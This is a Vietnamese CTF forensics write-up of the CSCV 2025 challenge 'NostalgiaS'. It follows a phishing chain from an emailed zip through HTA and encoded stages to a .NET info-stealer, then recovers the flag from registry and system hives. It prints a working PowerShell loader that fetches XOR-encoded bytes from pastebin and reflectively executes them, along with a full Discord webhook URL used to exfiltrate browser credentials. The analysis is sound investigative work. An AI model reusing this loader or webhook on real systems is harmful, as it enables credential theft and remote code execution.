[Forensics] NostalgiaS - CSCV 2025

2025. 10. 19. 02:37·

Đề bài


Phân tích

Bài này cho mình một file ad1 và yêu cầu mình xử lý một sự cố như sau: ông Kadoya đã bị tuồn bán thông tin lên chợ đen, mình sẽ phải tìm ra nguyên nhân của vụ này

Theo như suy đoán thì đây có thể là cuộc tấn công Phising, hacker có thể gửi những mail chứa mã độc cho nạn nhân và gạ nạn nhân mở để đánh cắp thông tin của họ

Vậy nên mình sẽ bắt đầu tìm kiếm đến mail của nạn nhận trước

Nhận thấy có 2 mail là

  • kadoya.home@hotmail.com.ost
  • kadoya.tsukasa.work@gmail.com.ost

Mình sẽ export file ra và đọc nội dung thư xem sao

Nhận thấy nó gửi một mail chứa file zip là Moly.zip với passwd là playmoly2025 để yêu cầu nạn nhân chơi một game gì đó chưa rõ

Mình sẽ extract file zip này với mật khẩu được cấp và xem nó có gì

Chọn "Chơi ngay" thì nó cho mình xem RickRoll

Chọn "Xem phim" thì nó cho mình nghe bài Trình

Lúc này mình sẽ xem source của trang này xem sao

Nhận thấy nó có một URL hta sau

Mở URL thì lại thấy nó có tiếp URL đến file txt khác

Tiếp tục mở thì đoạn này hơi rối mắt một tí những cũng có một URL khác

Tiếp tục thì sẽ thấy nó có một đoạn base64 như sau

Đoạn này mình sẽ lên Cyberchef giải mã

Tiếp tục nhận được 1 URL

Có vẻ có khá nhiều HEX, quay lại cyberchef thì mình thấy nó có chứa một XOR key, khả năng là sẽ dùng để giải mã file này

Trong cyberchef mình sẽ lấy được đoạn code ra như sau

$AssemblyUrl = "https://pastebin.com/raw/90qeYSHA"
$XorKey = 0x24
$TypeName = "StealerJanai.core.RiderKick"
$MethodName = "Run"

try {
    $WebClient = New-Object System.Net.WebClient
    $encodedContent = $WebClient.DownloadString($AssemblyUrl)
    $WebClient.Dispose()
    
    $hexValues = $encodedContent.Trim() -split ',' | Where-Object { $_ -match '^0x[0-9A-Fa-f]+$' }
    
    $encodedBytes = New-Object byte[] $hexValues.Length
    for ($i = 0; $i -lt $hexValues.Length; $i++) {
        $encodedBytes[$i] = [Convert]::ToByte($hexValues[$i].Trim(), 16)
    }

    $originalBytes = New-Object byte[] $encodedBytes.Length
    for ($i = 0; $i -lt $encodedBytes.Length; $i++) {
        $originalBytes[$i] = $encodedBytes[$i] -bxor $XorKey
    }
    
    $assembly = [System.Reflection.Assembly]::Load($originalBytes)
    
    if ($TypeName -ne "" -and $MethodName -ne "") {
        $targetType = $assembly.GetType($TypeName)
        $methodInfo = $targetType.GetMethod(
            $MethodName,
            [System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public
        )
        $methodInfo.Invoke($null, $null)
    }

} catch {
    exit 1
}

Đoạn này sẽ lấy HEX từ URL kia, giải mã và chạy, thì mình sẽ lấy đến đoạn giải mã thôi và không chạy để tránh mã độc

Script giải mã

$AssemblyUrl = "https://pastebin.com/raw/90qeYSHA"
$XorKey = 0x24
$out = Join-Path $PSScriptRoot "payload_decoded.bin"

try {
    $wc = New-Object System.Net.WebClient
    $raw = $wc.DownloadString($AssemblyUrl)
} finally {
    if ($wc) { $wc.Dispose() }
}

$hex = $raw.Trim() -split ',' | Where-Object { $_ -match '^\s*0x[0-9A-Fa-f]{1,2}\s*$' } |
       ForEach-Object { $_.Trim() }

[byte[]]$enc = New-Object byte[] $hex.Count
for ($i=0; $i -lt $hex.Count; $i++) {
    $enc[$i] = [Convert]::ToByte($hex[$i], 16)
}

[byte[]]$dec = New-Object byte[] $enc.Length
for ($i=0; $i -lt $enc.Length; $i++) {
    $dec[$i] = $enc[$i] -bxor $XorKey
}

[System.IO.File]::WriteAllBytes($out, $dec)
Write-Host "[+] Decoded to: $out"

Get-FileHash $out -Algorithm SHA256 | Format-List
"{0} bytes" -f $dec.Length
($dec[0..([Math]::Min(63,$dec.Length-1))] | ForEach-Object { "{0:X2}" -f $_ }) -join ' '

Run script

powershell -NoProfile -ExecutionPolicy Bypass -File .\DecodeOnly-Pastebin.ps1

Vậy là mình đã thu được payload_decoded.bin

Kiểm tra file này

$ file payload_decoded.bin 
payload_decoded.bin: PE32 executable for MS Windows 6.00 (DLL), Intel i386 Mono/.Net assembly, 3 sections

Đây là một file thực thi Windows, vậy mình sẽ bắt đầu dịch ngược từ đây


Dịch ngược

Đầu tiên mình sẽ sử dụng Detech It Easy để xem file được viết bằng ngôn ngữ gì

Vậy là file được viết bằng C#, đến đây mình sẽ sử dụng dnSpy để dịch ngược file C#

Mình thấy một đoạn mã độc dạng Collector sau

Đoạn mã này sẽ thu thập thông tin hệ thống + dữ liệu trình duyệt rồi đẩy lên Discord Webhook hard-code sẵn

Các bước thực hiện:

  • DllImport("kernel32.dll") OutputDebugString: dùng để log ra DebugView/OutputDebugString (không hiện ra console)
  • RiderKick() (constructor):
    • Gán discordSender với webhook cố định: https://discord.com/api/webhooks/1389141710126452766/D1NUx0HaXI0Zx6xJSEqYy06X7b8HisqM3rfNUw2qdIWt_WbcE8HXLcIpe2oicB7GpU6e
    • Gọi this.AutoRun() ngay trong constructor ⇒ tự động chạy payload khi lớp được tạo (không cần entry point riêng)
  • AutoRun():
    1. Ghi banner + Timestamp + Environment.MachineName vào debug output
    2. SystemInformation si = new SystemInformation(webhookUrl)
      • si.CollectSystemInfo();
      • si.SendToDiscordAsFile(); → gửi file (nhiều khả năng là TXT/JSON/ZIP) lên webhook
    3. Thread.Sleep(2000); → nghỉ 2 giây
    4. BrowserDataCollector bc = new BrowserDataCollector(webhookUrl)
      • bc.CollectBrowserData()
      • bc.SendToDiscordAsFile(); → exfil dữ liệu trình duyệt (cookie, logins, history…)
    5. Bọc try/catch: nếu lỗi, log ex.Message và ex.StackTrace qua OutputDebugString
  • Run() chỉ làm việc: new RiderKick(); ⇒ mọi thứ chạy ngay

Tiếp tục tìm kiếm trong chương trình thì mình thấy có một class tên là SystemSecretInformationCollector, có khả năng sẽ là flag

Mình sẽ trích đoạn này riêng ra và sửa thêm một tí để thử in ra flag xem sao

Đầu tiên mình sẽ tạo một folder để chạy CSharp đã

dotnet new console -n FlagRunner -f net8.0
cd FlagRunner

Sau đó mình sẽ sửa trong Program.cs đã tạo sẵn thành như sau

Mình đã sửa những đoạn sau để tìm sau và cho nó giải mã đoạn text trước

string machineName = "<Machine Name>";
...
private string GetRegistryValue()
{
    return "<Registry Value>";
}
...

Sau đó run thử xem sao

dotnet run
CSCV2025{your_computer_<Machine Name>_has_be3n_kicked_by<Registry Value>}

Vậy là bây giờ mình sẽ chỉ cần tìm Machine Name và Registry Value là được

Quay lại code CSharp gốc để xem Registry Value nó lấy gì

Nó sẽ đọc Registry ở phần Hive SOFTWARE\\hensh1n, vậy mình sẽ trích xuất NTUSER.DAT ra để xem hive SORTWARE

Đầu tiên sẽ là trích xuất NTUSER.DAT

Sau đó dùng Registry Explorer để đọc Hive

Vậy Registry Value là: HxrYJgdu

Tiếp theo sẽ là tìm MachineName

Đầu tiên mình sẽ trích xuất SYSTEM ra

Sau đó mình tiếp tục dùng Registry Explorer để đọc Hive

Vậy Machine Name là: DESKTOP-47ICHL6

 


Flag

Flag: CSCV2025{your_computer_DESKTOP-47ICHL6_has_be3n_kicked_byHxrYJgdu}

'WriteUp > Forensics' 카테고리의 다른 글

[Forensics] FixPloit - POC CTF 2025  (0) 2025.10.20
[Forensics] Case AlphaS - CSCV 2025  (2) 2025.10.19
[Forensics] DNS Exfil - CSCV 2025  (0) 2025.10.19
[Forensics] MZGZ - Dreamhack  (0) 2025.10.14
[Forensics] HKLMystery - Dream  (0) 2025.10.14
'WriteUp/Forensics' Other posts in category
  • [Forensics] FixPloit - POC CTF 2025
  • [Forensics] Case AlphaS - CSCV 2025
  • [Forensics] DNS Exfil - CSCV 2025
  • [Forensics] MZGZ - Dreamhack
longhd
longhd
Longhd's Blog
  • longhd
    Ha Duy Long - InfosecPTIT
    longhd
  • Total
    Today
    Yesterday
  • About me

    • Hello I'm Duy Long 👋🏻
    • View all categories (117) N
      • Certificates (4)
      • CTF (3)
      • WriteUp (94) N
        • Forensics (44) N
        • Steganography (5)
        • RE (9) N
        • OSINT (8)
        • Web (17)
        • MISC (6)
        • Crypto (3)
        • Pwn (2)
      • Love Story (0)
      • Labs (15)
        • Information Gathering (10)
        • Vulnerability Scanning (2)
        • Introduction to Web Applica.. (1)
        • Common Web Application Atta.. (1)
        • SQL Injection Attacks (1)
  • Blog Menu

    • Home
    • Tag
    • GuestBook
  • Popular Posts

  • Tags

    EnigmaXplore3.0
    Web
    Dreamhack
    writeup
    CSCV2025
    Steganography
    Forensics
    POCCTF2025
    htb
    misc
    PTITCTF2025
    CTF
    OSINT
    V1tCTF2025
    SunshineCTF2025
    THM
    CHH
    Re
    BuckeyeCTF2025
    picoCTF
  • Recent Comments

  • Recent Posts

  • hELLO· Designed ByLong.v4.10.4
longhd
[Forensics] NostalgiaS - CSCV 2025
Go to Top

티스토리툴바